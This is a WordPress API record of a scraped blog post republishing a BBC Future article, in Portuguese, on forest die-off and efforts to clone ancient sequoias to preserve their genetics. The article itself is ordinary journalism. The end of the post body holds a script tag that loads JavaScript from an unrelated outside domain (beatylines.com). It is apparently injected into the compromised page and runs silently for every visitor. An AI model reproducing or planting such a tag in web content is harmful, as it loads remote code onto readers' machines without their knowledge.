{"id":2694,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/o-poder-genetico-das-arvores-gigantes-23-07-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"o-poder-genetico-das-arvores-gigantes-23-07-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/o-poder-genetico-das-arvores-gigantes-23-07-2022\/","title":{"rendered":"O poder gen\u00e9tico das \u00e1rvores gigantes &#8211; 23\/07\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p class=\"lead\">Em 2005, diversas \u00e1rvores de pinheiro-amarelo com s\u00e9culos de idade morreram de repente nos meus seis hectares de floresta na parte norte das Montanhas Rochosas, no Estado norte-americano de Montana.<\/p>\n<p>Logo descobri que elas estavam sendo dizimadas por besouros-dos-pinheiros, uma praga que se infiltra nas \u00e1rvores, do tamanho da ponta de borracha de um l\u00e1pis.<\/p>\n<p>No ano seguinte, a quantidade de \u00e1rvores mortas cresceu exponencialmente. Eu me senti impotente e sofri com o luto de ver todas aquelas \u00e1rvores gigantes que riscavam o c\u00e9u morrerem \u00e0 minha volta. Percebi que n\u00e3o havia nada que eu pudesse fazer.<\/p>\n<p>Os besouros nativos eram a causa imediata, mas a raz\u00e3o por tr\u00e1s dessa mortalidade sem precedentes na minha regi\u00e3o e ao longo das Rochosas eram os invernos, que n\u00e3o s\u00e3o mais t\u00e3o frios como costumavam ser.<\/p>\n<p>Quando me mudei para Montana, no final dos anos 1970, temperaturas de -34 \u00b0C ou at\u00e9 -40 \u00b0C eram comuns no inverno, \u00e0s vezes por semanas a fio. A temperatura mais baixa j\u00e1 registrada em Montana \u00e9 de -57 \u00b0C.<\/p>\n<p>Mas, atualmente, as temperaturas m\u00ednimas de inverno raramente caem abaixo de cerca de -18 \u00b0C. E, quando caem, elas duram apenas um ou dois dias, o que n\u00e3o \u00e9 suficiente, nem de perto, para controlar os besouros-dos-pinheiros, que produzem seu pr\u00f3prio anticongelante natural.<\/p>\n<p>Por isso, em quest\u00e3o de tr\u00eas anos, mais de 90% da minha floresta havia morrido. N\u00f3s contratamos lenhadores para derrubar as \u00e1rvores e lev\u00e1-las de caminh\u00e3o para uma f\u00e1brica, onde elas foram transformadas em polpa e, depois, em papel\u00e3o.<\/p>\n<p>Mas isso n\u00e3o foi tudo. \u00c1rvores estavam morrendo em todo o oeste da Am\u00e9rica do Norte. Entre 2006 e 2007, a Col\u00fambia Brit\u00e2nica, no Canad\u00e1, perdeu 80% dos seus pinheiros-da-praia adultos, que deixaram de ser um sumidouro de carbono (que absorve mais do que emite), para se tonarem fonte de carbono, que emite mais do que absorve.<\/p>\n<p>Clonando \u00e1rvores em viveiros especiais<\/p>\n<p>As \u00e1rvores continuam a morrer em todo o oeste norte-americano. Alguns anos atr\u00e1s, 129 milh\u00f5es de \u00e1rvores morreram na Calif\u00f3rnia, nos Estados Unidos.<\/p>\n<p>Assistir ao fim da minha floresta despertou em mim um interesse renovado pelo que estava acontecendo com as \u00e1rvores em Montana e em outras partes do mundo. Por isso, comecei uma pesquisa sobre a vida e a morte de \u00e1rvores e florestas, que j\u00e1 dura duas d\u00e9cadas.<\/p>\n<p>As \u00e1rvores limpam a nossa \u00e1gua, afetam o nosso clima, fornecem madeira para constru\u00e7\u00e3o e oferecem fontes de sustento para n\u00f3s e muitos dos animais que nos servem de alimento. De alguma forma, elas parecem at\u00e9 estar conectadas \u00e0s estrelas.<\/p>\n<p>Mas, mesmo assim, n\u00f3s sabemos muito pouco sobre o seu papel no planeta.<\/p>\n<p>N\u00f3s tamb\u00e9m n\u00e3o conhecemos a gen\u00e9tica das \u00e1rvores, especialmente os efeitos sobre o patrim\u00f4nio gen\u00e9tico do corte de virtualmente todas as \u00e1rvores maiores e mais robustas para a extra\u00e7\u00e3o de madeira ao longo de tantos s\u00e9culos. E ainda n\u00e3o temos basicamente nenhuma ideia de como as \u00e1rvores sobreviventes enfrentar\u00e3o um mundo mais quente e seco.<\/p>\n<p>Mas, nos \u00faltimos anos, os cientistas come\u00e7aram a descobrir a import\u00e2ncia da gen\u00e9tica ancestral das \u00e1rvores, com cada vez mais evid\u00eancias demonstrando que elas desempenham fun\u00e7\u00f5es fundamentais para o futuro das florestas da Terra. Essas pesquisas seguem-se aos esfor\u00e7os de um grupo de entusiastas das \u00e1rvores para tentar reproduzir as maiores dessas gigantes em viveiros especiais, chamados de &#8220;bibliotecas vivas&#8221;, para garantir a preserva\u00e7\u00e3o do DNA dessas \u00e1rvores.<\/p>\n<p>Essa a\u00e7\u00e3o parece ter sido premonit\u00f3ria.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/b8\/2022\/07\/23\/a-sequoia-vermelha-e-uma-das-arvores-mais-emblematicas-da-america-do-norte-mas-tambem-e-encontrada-em-outras-partes-do-mundo-como-nesta-floresta-plantada-em-victoria-na-australia-1658592048882_v2_750x421.jpg\" class=\"pinit-img\" alt=\"A sequoia-vermelha \u00e9 uma das \u00e1rvores mais emblem\u00e1ticas da Am\u00e9rica do Norte, mas tamb\u00e9m \u00e9 encontrada em outras partes do mundo, como nesta floresta plantada em Victoria, na Austr\u00e1lia - Getty Images - Getty Images\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>A sequoia-vermelha \u00e9 uma das \u00e1rvores mais emblem\u00e1ticas da Am\u00e9rica do Norte, mas tamb\u00e9m \u00e9 encontrada em outras partes do mundo, como nesta floresta plantada em Victoria, na Austr\u00e1lia<\/p>\n<p> <span>Imagem: Getty Images<\/span><\/figcaption><\/figure>\n<\/div>\n<h2>O &#8216;legista das \u00e1rvores&#8217;<\/h2>\n<p>O pesquisador Craig D. Allen vem observando a morte das florestas por grande parte da sua carreira profissional. Ele foi apelidado de &#8220;legista das \u00e1rvores&#8221;, por tentar compreender como as \u00e1rvores est\u00e3o morrendo com as mudan\u00e7as clim\u00e1ticas.<\/p>\n<p>Allen aposentou-se recentemente do Servi\u00e7o Geol\u00f3gico dos Estados Unidos, mas agora est\u00e1 mais ocupado do que nunca. Ele pesquisa a crise mundial das florestas e trabalha como professor de ecologia da Universidade do Novo M\u00e9xico, nos Estados Unidos.<\/p>\n<p>H\u00e1 alguns anos, eu percorri com ele hectare por hectare de florestas de pinheiros que estavam morrendo nas paisagens secas perto de Santa Fe, no Novo M\u00e9xico (EUA), devido ao calor e \u00e0 seca prolongada. Quando o encontrei de novo recentemente, ele me disse que a morte das florestas est\u00e1 se acelerando em todo o mundo.<\/p>\n<p>Allen faz parte de um pequeno grupo de pesquisadores que est\u00e1 desvendando minuciosamente as consequ\u00eancias das mudan\u00e7as clim\u00e1ticas para as florestas antigas em todo o mundo &#8211; as florestas seculares, que conhecemos e amamos.<\/p>\n<p>O tema \u00e9 complexo, mas Allen indica resultados de pesquisas publicados na \u00faltima d\u00e9cada que, para ele, resumem os graves impactos do aquecimento do planeta sobre esses ecossistemas.<\/p>\n<p>O primeiro desses estudos &#8211; uma pesquisa de 2012, da qual Allen \u00e9 um dos autores &#8211; combinou dados de an\u00e9is das \u00e1rvores, registros clim\u00e1ticos e proje\u00e7\u00f5es do clima futuro no sudoeste dos Estados Unidos. Ele concluiu que as megassecas do futuro, causadas pelas mudan\u00e7as clim\u00e1ticas, poder\u00e3o ter impactos devastadores sobre as florestas da regi\u00e3o.<\/p>\n<p>O ponto fundamental da quest\u00e3o \u00e9 que, mesmo se as temperaturas do ar subirem de forma linear, a capacidade de reten\u00e7\u00e3o de \u00e1gua da atmosfera aumenta exponencialmente. Isso significa que a atmosfera est\u00e1 ficando mais sedenta em ritmo acelerado e as secas extraem cada vez mais \u00e1gua do solo, das \u00e1rvores e de outras plantas.<\/p>\n<p>Um segundo estudo publicado em 2012 por uma equipe de pesquisa da Austr\u00e1lia reuniu dados sobre as colunas de \u00e1gua &#8211; o trajeto percorrido pela \u00e1gua no interior das \u00e1rvores, desde as ra\u00edzes at\u00e9 a copa &#8211; em centenas de esp\u00e9cies de \u00e1rvores. A equipe concluiu que as secas mais quentes est\u00e3o retirando \u00e1gua das florestas em ritmo acelerado e, em muitos lugares, as \u00e1rvores n\u00e3o conseguem mais lidar com o estresse da intensifica\u00e7\u00e3o desse processo, causando algo parecido com uma embolia.<\/p>\n<p>O terceiro estudo \u00e9 de 2015 e examina a vulnerabilidade das \u00e1rvores \u00e0 seca em todo o mundo. &#8220;Ele afirma que todos os principais tipos de florestas, secas e \u00famidas, do Arizona [Estados Unidos] e da Arg\u00e9lia at\u00e9 Alberta [Canad\u00e1] e a Argentina, est\u00e3o morrendo de formas historicamente incomuns, devido \u00e0 ocorr\u00eancia de calor e seca&#8221;, segundo Allen.<\/p>\n<p>A quest\u00e3o aqui \u00e9 que as secas em clima quente, que est\u00e3o ficando mais frequentes e severas, estressam as \u00e1rvores at\u00e9 o limite do seu esgotamento.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-12 col-md-13 col-lg-11  crop-450x600 limit-crop  figure\" style=\"max-width:450px\" data-format=\"vertical\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:450px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/34\/2022\/07\/23\/rip-tompkins-da-organizacao-archangel-ancient-tree-archive-escala-uma-sequoia-gigante-em-sequoia-crest-na-california-1658592153340_v2_450x600.jpg\" class=\"pinit-img\" alt=\"Rip Tompkins, da organiza\u00e7\u00e3o Archangel Ancient Tree Archive, escala uma sequoia-gigante em Sequoia Crest, na Calif\u00f3rnia - Ethan Swope - Ethan Swope\" data-crop=\"{&quot;xs&quot;:&quot;300x400&quot;,&quot;lg&quot;:&quot;450x600&quot;}\" width=\"450\" height=\"600\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 133.33333333333331%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Rip Tompkins, da organiza\u00e7\u00e3o Archangel Ancient Tree Archive, escala uma sequoia-gigante em Sequoia Crest, na Calif\u00f3rnia<\/p>\n<p> <span>Imagem: Ethan Swope<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Como a atmosfera mais quente pode reter mais precipita\u00e7\u00e3o, algumas florestas, em lugares mais quentes e \u00famidos, est\u00e3o se saindo extremamente bem &#8211; melhor do que nunca, segundo Allen. Mas, onde h\u00e1 calor e seca, elas est\u00e3o morrendo em quantidades crescentes.<\/p>\n<p>&#8220;Eventos extremos matam as \u00e1rvores&#8221;, afirma Allen. &#8220;E os piores per\u00edodos est\u00e3o ficando ainda piores.&#8221; De fato, j\u00e1 est\u00e3o sendo observados eventos extremos sem precedentes, como os 49\u00b0C verificados na Col\u00fambia Brit\u00e2nica no ver\u00e3o de 2021.<\/p>\n<h2>A import\u00e2ncia das grandes \u00e1rvores<\/h2>\n<p>As \u00e1rvores na linha de frente deste mundo em transforma\u00e7\u00e3o s\u00e3o as antigas, muitas delas com mais de 60 ou at\u00e9 90 metros de altura.<\/p>\n<p>&#8220;Uma das raz\u00f5es dos riscos para as \u00e1rvores grandes e antigas \u00e9 o custo realmente alto para manter sua sobreviv\u00eancia: [elas t\u00eam] contas maiores para pagar&#8221;, segundo William Hammond, ecofisiologista vegetal e ecologista estudioso das mudan\u00e7as globais da Universidade da Fl\u00f3rida, nos Estados Unidos.<\/p>\n<p>As \u00e1rvores gigantes precisam de mais \u00e1gua e de mais energia para bombear toda essa \u00e1gua at\u00e9 a copa. Elas podem ser vencidas ou enfraquecidas pela seca, que as torna vulner\u00e1veis a insetos, doen\u00e7as ou inc\u00eandios.<\/p>\n<p>Secas e calor mais frequentes tamb\u00e9m significam que as \u00e1rvores t\u00eam menos tempo para se recuperar.<\/p>\n<p>&#8220;Ap\u00f3s o t\u00e9rmino de um per\u00edodo de seca, quando as \u00e1rvores j\u00e1 t\u00eam \u00e1gua suficiente de novo, elas t\u00eam a possibilidade de crescer novamente e recuperar parte dos seus \u00f3rg\u00e3os danificados&#8221;, explica Anna Trugman, professora da Universidade da Calif\u00f3rnia em Santa B\u00e1rbara, nos Estados Unidos, onde estuda os efeitos das mudan\u00e7as clim\u00e1ticas sobre as florestas. &#8220;Mas, se voc\u00ea tiver secas mais frequentes, uma ap\u00f3s a outra, isso pode resultar em decl\u00ednio a longo prazo, pois as \u00e1rvores n\u00e3o s\u00e3o capazes de se recuperar.&#8221;<\/p>\n<p>As grandes \u00e1rvores antigas s\u00e3o indefesas. Isso \u00e9 um problema porque elas n\u00e3o s\u00e3o apenas ancestrais, gigantes e inspiradoras, mas tamb\u00e9m fundamentais para armazenar carbono e evitar que o mundo se aque\u00e7a com ainda mais rapidez. Metade do carbono retido nas florestas concentra-se em 1% das \u00e1rvores &#8211; as maiores delas.<\/p>\n<p>E esse futuro desastroso chega enquanto ainda estamos aprendendo o b\u00e1sico sobre as \u00e1rvores.<\/p>\n<p>Suzanne Simard, ecologista da Universidade da Col\u00fambia Brit\u00e2nica, no Canad\u00e1, descobriu que existem relacionamentos familiares entre as \u00e1rvores. Atrav\u00e9s de suas ra\u00edzes e fungos, elas se comunicam e redistribuem recursos.<\/p>\n<p>J\u00e1 a pesquisadora Diana Beresford-Kroeger defende que a grande quantidade de subst\u00e2ncias emitidas pelas \u00e1rvores, como os (compostos naturais) terpenos e os limonenos, s\u00e3o antibi\u00f3ticos, antivirais e preventivos qu\u00edmicos naturais, que ajudam a manter a sa\u00fade do mundo natural &#8211; incluindo a dos seres humanos.<\/p>\n<p>Hammond e Allen preveem a morte generalizada das maiores \u00e1rvores do mundo e das florestas hist\u00f3ricas do planeta. E pesquisas indicam que as novas florestas de hoje s\u00e3o muito diferentes das florestas hist\u00f3ricas, em parte devido \u00e0s novas condi\u00e7\u00f5es mais quentes e secas.<\/p>\n<p>&#8220;As florestas est\u00e3o ficando menores, mais jovens e as esp\u00e9cies dominantes est\u00e3o mudando&#8221;, segundo Hammond. &#8220;As \u00e1rvores ir\u00e3o permanecer. Elas estar\u00e3o conosco por muito tempo. Mas elas v\u00e3o mudar.&#8221;<\/p>\n<p>O que pode ser feito? Reduzir as emiss\u00f5es de CO2 para retardar o aquecimento est\u00e1 no topo da lista, mas seus benef\u00edcios podem demorar d\u00e9cadas. Em alguns locais, o desbaste mec\u00e2nico das florestas e o fogo controlado podem ajudar. Algumas florestas t\u00eam 2 mil a 2,5 mil \u00e1rvores por hectare, o que causa forte concorr\u00eancia pela \u00e1gua. Uma floresta saud\u00e1vel teria um d\u00e9cimo dessa densidade.<\/p>\n<p>Tamb\u00e9m est\u00e1 sendo estudada a irriga\u00e7\u00e3o de parte das sequoias. E existe a ambiciosa tentativa de reproduzir os maiores desses gigantes vivos.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/60\/2022\/07\/23\/a-queima-controlada-da-sequoia-gigante-general-sherman---a-arvore-mais-volumosa-do-mundo-no-parque-nacional-da-sequoia-na-california-eua---remove-abetos-brancos-e-material-em-decomposicao-sem-1658592225609_v2_750x421.jpg\" class=\"pinit-img\" alt=\"A queima controlada da sequoia-gigante General Sherman - a \u00e1rvore mais volumosa do mundo, no Parque Nacional da Sequoia, na Calif\u00f3rnia (EUA) - remove abetos-brancos e material em decomposi\u00e7\u00e3o, sem danificar a sequoia - Getty Images - Getty Images\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>A queima controlada da sequoia-gigante General Sherman &#8211; a \u00e1rvore mais volumosa do mundo, no Parque Nacional da Sequoia, na Calif\u00f3rnia (EUA) &#8211; remove abetos-brancos e material em decomposi\u00e7\u00e3o, sem danificar a sequoia<\/p>\n<p> <span>Imagem: Getty Images<\/span><\/figcaption><\/figure>\n<\/div>\n<h2>A primeira iniciativa<\/h2>\n<p>Nos anos 1990, uma equipe formada por pai e filho na zona rural do norte de Michigan, nos Estados Unidos, elaborou um plano para clonar as maiores \u00e1rvores de cada esp\u00e9cie do pa\u00eds. Era um esquema dom\u00e9stico chamado Projeto das \u00c1rvores Campe\u00e3s.<\/p>\n<p>David Milarch faz parte da quarta gera\u00e7\u00e3o de fazendeiros plantadores de \u00e1rvores de sombra. Ele procurou a maior \u00e1rvore de cada esp\u00e9cie no Registro Nacional de Grandes \u00c1rvores &#8211; uma lista mantida pela organiza\u00e7\u00e3o sem fins lucrativos American Forests, com sede na capital norte-americana, Washington DC.<\/p>\n<p>David e seu filho Jared viajavam at\u00e9 cada \u00e1rvore campe\u00e3 e pediam ao seu dono para retirar algumas mudas. Eles tinham uma escada na pick-up e Jared escalava a \u00e1rvore para retirar alguns galhos pequenos.<\/p>\n<p>Dali, as mudas seguiam at\u00e9 um viveiro para cultivar c\u00f3pias. David e Jared Milarch depois plantavam os clones em diversos ambientes &#8211; parques ou cemit\u00e9rios &#8211; para formar o que eles chamavam de biblioteca de arquivo vivo. A ideia era preservar a gen\u00e9tica de \u00e1rvores com 800, 2 mil ou 5 mil anos de idade de todo o mundo, para o caso de que as \u00e1rvores originais morressem.<\/p>\n<p>&#8220;A gen\u00e9tica das grandes \u00e1rvores est\u00e1 desaparecendo&#8221;, afirmou David Milarch em entrevista, em 2001. &#8220;Algu\u00e9m precisa clon\u00e1-las e manter um registro. Ningu\u00e9m sabe o que elas significam.&#8221;<\/p>\n<p>O projeto dos Milarch concentrou-se principalmente nas \u00e1rvores mais antigas e simb\u00f3licas dos Estados Unidos: as sequoias-gigantes e sequoias-vermelhas. Agora, mais de duas d\u00e9cadas depois, vejo sua equipe escalando algumas das maiores \u00e1rvores do mundo para poder cortar agulhas no alto, o melhor material para clonagem.<\/p>\n<p>Uma delas foi a magn\u00edfica \u00c1rvore da Cachoeira, uma sequoia em um bosque particular no centro da Calif\u00f3rnia &#8211; uma \u00e1rvore gigantesca com casca vermelho-alaranjada que fazia os seres humanos parecerem an\u00f5es. Uma foto da \u00e1rvore virou capa do meu livro contando a hist\u00f3ria do esfor\u00e7o quixotesco do fazendeiro de \u00e1rvores de sombra para clonar as maiores \u00e1rvores do mundo e plant\u00e1-las ao redor do planeta.<\/p>\n<p>Segui a vida desde ent\u00e3o, mas, no ver\u00e3o de 2021, voltou \u00e0 tona minha longa experi\u00eancia com David Milarch. Inc\u00eandios varreram as famosas sequoias da Calif\u00f3rnia, matando um quinto delas. Uma delas era a \u00c1rvore da Cachoeira, que foi totalmente queimada.<\/p>\n<p>Antes consideradas indestrut\u00edveis, essas \u00e1rvores v\u00eam morrendo em quantidades cada vez maiores nos \u00faltimos anos.<\/p>\n<p>&#8220;O que estamos vendo agora \u00e9 que os inc\u00eandios florestais s\u00e3o capazes de incinerar sequoias-gigantes em grandes quantidades&#8221;, afirma Christy Brigham, chefe de ci\u00eancia e gest\u00e3o de recursos dos Parques Nacionais da Sequoia e de Kings Canyon, nos Estados Unidos. &#8220;Ap\u00f3s o hist\u00f3rico de 100 anos de supress\u00e3o de inc\u00eandios, o calor e a seca causados pelas mudan\u00e7as clim\u00e1ticas passaram a piorar a situa\u00e7\u00e3o.&#8221;<\/p>\n<p>O desaparecimento da gen\u00e9tica da sequoia-gigante tamb\u00e9m causa preocupa\u00e7\u00e3o. &#8220;N\u00e3o sabemos o que pode ter sido perdido&#8221;, afirma Brigham. &#8220;Mas estamos falando de uma esp\u00e9cie que j\u00e1 passou por um gargalo gen\u00e9tico e somente \u00e9 encontrada em 78 bosques. Agora, temos esses inc\u00eandios florestais que queimaram 19% da popula\u00e7\u00e3o de grandes \u00e1rvores adultas. Em um dos bosques, 80% da mata foram perdidos.&#8221;<\/p>\n<p>A organiza\u00e7\u00e3o criada por Milarch, agora chamada Archangel Ancient Tree Archive (o Arquivo Arcanjo de \u00c1rvores Antigas, em tradu\u00e7\u00e3o livre), ainda est\u00e1 clonando \u00e1rvores e agora se dirige \u00e0 Calif\u00f3rnia para procurar e, se poss\u00edvel, clonar um bosque &#8220;perdido&#8221; de sequoias que, segundo Milarch, pode estabelecer um novo recorde de tamanho.<\/p>\n<p>Eles tamb\u00e9m est\u00e3o plantando bosques de \u00e1rvores seculares. &#8220;Plantamos 75 sequoias-vermelhas clonadas de \u00e1rvores seculares em Presdio&#8221;, afirma Milarch (Presdio \u00e9 uma antiga base militar em San Francisco, na Calif\u00f3rnia, que foi transformada em parque). &#8220;E plantamos sequoias em 41 cidades na regi\u00e3o do estreito de Puget [perto de Seattle, no Estado norte-americano de Washington] como parte da migra\u00e7\u00e3o assistida.&#8221;<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/00\/2022\/07\/23\/jesse-ketchum-da-organizacao-archangel-ancient-tree-archive-planta-uma-sequoia-1658592322929_v2_750x421.jpg\" class=\"pinit-img\" alt=\"Jesse Ketchum, da organiza\u00e7\u00e3o Archangel Ancient Tree Archive, planta uma sequoia - Ethan Swope - Ethan Swope\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Jesse Ketchum, da organiza\u00e7\u00e3o Archangel Ancient Tree Archive, planta uma sequoia<\/p>\n<p> <span>Imagem: Ethan Swope<\/span><\/figcaption><\/figure>\n<\/div>\n<h2>Esperan\u00e7a confirmada<\/h2>\n<p>A filosofia da Archangel Ancient Tree Archive \u00e9 que essas \u00e1rvores de 2 mil anos de idade n\u00e3o podem se mover, mas sua gen\u00e9tica pode. Clon\u00e1-las e plant\u00e1-las para criar uma nova floresta n\u00e3o salva as \u00e1rvores, mas perpetua sua gen\u00e9tica secular.<\/p>\n<p>A organiza\u00e7\u00e3o cultiva \u00e1rvores clonadas na sua pr\u00f3pria estufa. No outono de 2021 no hemisf\u00e9rio norte, ela plantou clones da \u00c1rvore da Cachoeira e outras, al\u00e9m de mudas, no local onde as florestas foram destru\u00eddas pelos inc\u00eandios do ver\u00e3o &#8211; e tamb\u00e9m mais ao norte, onde o clima pode ser mais favor\u00e1vel para as sequoias em um futuro mais quente. &#8220;Uma \u00e1rvore de 2 mil anos de idade sabe uma coisa ou outra sobre sobreviv\u00eancia&#8221;, ressalta Milarch.<\/p>\n<p>A potencial import\u00e2ncia da gen\u00e9tica secular inspirou o compositor e produtor musical Timothy Smit a cultivar 49 clones da cole\u00e7\u00e3o de sequoias da Archangel Ancient Tree Archive no seu Projeto \u00c9den em Cornwall, no Reino Unido, que abriga milhares de esp\u00e9cies vegetais de todo o mundo. &#8220;Eram beb\u00eas com 90 cm de altura e agora j\u00e1 est\u00e3o com 4,6 metros&#8221;, ele conta. &#8220;Todas sobreviveram.&#8221;<\/p>\n<p>Depois de duas d\u00e9cadas clonando \u00e1rvores com esperan\u00e7a de sucesso, um estudo publicado este ano confirmou que a abordagem de Milarch, preservando a gen\u00e9tica das \u00e1rvores antigas, \u00e9 v\u00e1lida. O estudo concluiu que as \u00e1rvores antigas promovem radicalmente a diversidade gen\u00e9tica e, portanto, contribuem para a resist\u00eancia da floresta ao seu redor em longo prazo e sua capacidade de adapta\u00e7\u00e3o.<\/p>\n<p>&#8220;Essas \u00e1rvores antigas representam indiv\u00edduos que se estabeleceram e sobreviveram por longos ciclos&#8221;, segundo Chuck Cannon, um dos autores do estudo e diretor do Centro de Ci\u00eancia das \u00c1rvores Morton Arboretum em Illinois, nos Estados Unidos.<\/p>\n<p>Ele afirma que &#8220;a combina\u00e7\u00e3o gen\u00e9tica espec\u00edfica que elas cont\u00eam pode reunir os s\u00e9culos passados e fornecer genes que s\u00e3o ben\u00e9ficos sob condi\u00e7\u00f5es ambientais extremas que n\u00e3o estiveram presentes por centenas de anos. Eles s\u00e3o vitais para a capacidade adaptativa das florestas em longo prazo.&#8221;<\/p>\n<p>Mesmo assim, muito poucas pesquisas foram realizadas sobre a gen\u00e9tica das \u00e1rvores antigas. Isso porque elas s\u00e3o raras e dificilmente identificadas, segundo Cannon. \u00c9 por esta raz\u00e3o que ele acredita que a clonagem de \u00e1rvores seculares pela Archangel Ancient Tree Archive \u00e9 t\u00e3o importante.<\/p>\n<p>&#8220;Aprender a propagar esses materiais vivos pode ser algo valioso para n\u00e3o perdermos a combina\u00e7\u00e3o gen\u00e9tica \u00fanica representada por essas \u00e1rvores&#8221;, afirma Cannon. Essencialmente, criar essa arca de material de \u00e1rvores antigas poder\u00e1 ajudar outras florestas a aumentar sua diversidade gen\u00e9tica e sua capacidade de se adaptar ao nosso mundo em r\u00e1pida transforma\u00e7\u00e3o.<\/p>\n<p>Quando caminho pela minha propriedade atualmente, \u00e9 reconfortante encontrar os descendentes dos meus pinheiros mortos se desenvolvendo. Eles n\u00e3o substituem as \u00e1rvores antigas que um dia ficaram ali, mas as florestas das montanhas nesta parte do mundo n\u00e3o est\u00e3o desaparecendo, pelo menos por enquanto.<\/p>\n<p>N\u00e3o podemos mais subestimar a import\u00e2ncia das \u00e1rvores e das florestas. Sua exist\u00eancia \u00e9 cada vez mais fr\u00e1gil e sua perda seria incalcul\u00e1vel.<\/p>\n<p>* Jim Robbins \u00e9 autor do livro &#8220;The Man Who Planted Trees&#8221; (&#8220;O homem que plantava \u00e1rvores&#8221;, em tradu\u00e7\u00e3o livre), publicado nos Estados Unidos pela editora Spiegel &amp; Grau. Seu t\u00edtulo no Reino Unido \u00e9 &#8220;The Man Who Plants Trees&#8221; (&#8220;O homem que planta \u00e1rvores&#8221;), publicado pela editora Profile Books.<\/p>\n<p>Esta reportagem foi originalmente publicada aqui <a href=\"https:\/\/www.bbc.com\/portuguese\/vert-fut-61992547\">https:\/\/www.bbc.com\/portuguese\/vert-fut-61992547<\/a><\/p>\n<p>Leia a <a href=\"https:\/\/www.bbc.com\/future\/article\/20220623-the-genetic-power-of-ancient-trees\">vers\u00e3o original desta reportagem (em ingl\u00eas)<\/a> no site <a href=\"https:\/\/www.bbc.com\/future\/\">BBC Future<\/a>.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/bbc\/2022\/07\/23\/o-poder-genetico-das-arvores-gigantes.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Em 2005, diversas \u00e1rvores de pinheiro-amarelo com s\u00e9culos de idade morreram de repente nos meus seis hectares de floresta na parte norte das Montanhas Rochosas, no Estado norte-americano de Montana. Logo descobri que elas estavam sendo dizimadas por besouros-dos-pinheiros, uma praga que se infiltra nas \u00e1rvores, do tamanho da ponta de borracha de um l\u00e1pis&#8230;.<\/p>\n","protected":false},"author":1,"featured_media":2695,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"footnotes":""},"categories":[1],"tags":[4193,26,562,1634,705],"class_list":["post-2694","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sem-categoria","tag-arvores","tag-das","tag-genetico","tag-gigantes","tag-poder"],"_links":{"self":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/2694","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/comments?post=2694"}],"version-history":[{"count":0,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/2694\/revisions"}],"wp:featuredmedia":[{"embeddab